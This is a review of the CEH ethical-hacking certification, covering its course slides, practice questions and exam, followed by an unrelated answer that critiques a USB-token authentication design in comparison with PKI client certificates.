For most of the slides, you already needed to have an understanding of the concept in question for the slide to make sense. And if knowing what Cross-Site Request Forgery is and how it works is a prerequisite to understanding a slide aimed to teach what Cross-Site Request Forgery is and how it works - then that slide is not very good.
The practice questions
EC Council offers a 50 question "CEH assessment", which you can find here. I went through a handful of questions, but I had to stop halfway through because I didn't want to subject myself to it any longer.
A some of questions involve "name dropping", such as talking about Spectre and Meltdown, which insinuate that CEH would go into details about these vulnerabilities, how they came to be and how they can be exploited - however, CEH is an entry level exam and not technical by any means. These questions are irrelevant at best and deceptive at worst.
Furthermore, EC Council loves to provide questions where none of the answers are correct, and you are supposed to find the least wrong answer. An example:

In the Permanent Denial-of-service, the attacker will uses the ‘Bricking a system’ method, in order to ________

Send fraudulent hardware updates to the victims
Launch a massive denial of service attacks and compromise websites
Exploit weaknesses in programming source code
Send malicious email attached to the victim

The correct answer is "3. Exploit a weakness in the programming source code". So the question claims that an attacker will permanently destroy a device, in order to exploit it. This makes no sense whatsoever. A lot of the questions are like this, and it's infuriating.
When the questions aren't nonsensical, they're questions about specific flags in specific programs, like "Which flag do you need to pass to hping3 to send an ICMP packet?" - you know, the stuff you look up in 10 seconds in a man page. While tangentially related to "ethical hacking", it doesn't check whether or not the student understood anything, but only asks if they are able to remember meaningless details.
The Exam
The exam is a multiple choice exam with 125 questions. It's advertised as lasting 4 hours, but I took my time and finished in 45 minutes and still passed easily. I'd say 1-2 hours is more realistic.
The exam question were more of the same really, but the amount of nonsensical questions was greatly reduced. There was one question which was completely unrelated to ethical hacking, and I assume that question was supposed to go to a different exam altogether.
The Summary
Should you do the CEH? I would say, if you work for a company that has too much money to burn and requires you to have some certification, then go for the CEH. If you're a pentester, then the test should be a breeze for you. The only questions you need to study for are the "which flag do you use to..."-questions.
In any other case, don't go for it. Do the OSCP or Pentest+ instead.


USB Token Authentication Security Issues

It doesn't seem to provide much on top of username and password authentication. Your token effectively becomes a secondary password that's at best hard to remember.

The main benefits of PKI smart tokens and client-certificate authentication are that they prevent eavesdropping and phishing attacks: the private key never leaves you, so eavesdroppers or servers you authenticate to using your private key won't be able to use the credentials you've just used to authenticate anywhere.

Here, you don't get any of these benefits. Even if you protect the connection against eavesdropping (e.g. via SSL/TLS), phishing is still possible.

I can see a few additional downsides:

Your server initially acts like a pseudo-CA which issues the token instantaneously the first time. It sounds good, but you'll certainly have to deal with lost tokens, having to re-issue them in practice, so it's likely there's going to be a weakness here. (Similar problems as PKI authentication, it's only as good as the administrative side normally done by the CA.)
Your users may lose their USB tokens. Why have it stored on a USB stick in the first place, by the way? If you use client-certificate authentication, via a hardward or software token, you can generally protect the private key with a password or PIN that you'll need to enter every time you use it. That's mainly going to cause big problems to your legitimate users, while it's going to be great for potential attackers (they can just make a copy of the USB stick, no need to steal it).

If you want something similar to hardware USB smart tokens, but they're not an option, you could use software-based client-certificates stores (e.g. PKCS#12/PFX). They're not quite as good as hardware tokens because the file can effectively be copied, but at least PKCS#12 files have password protection mechanisms. (Client-certificate authentication mechanisms generally have poor UI interactions, unfortunately.)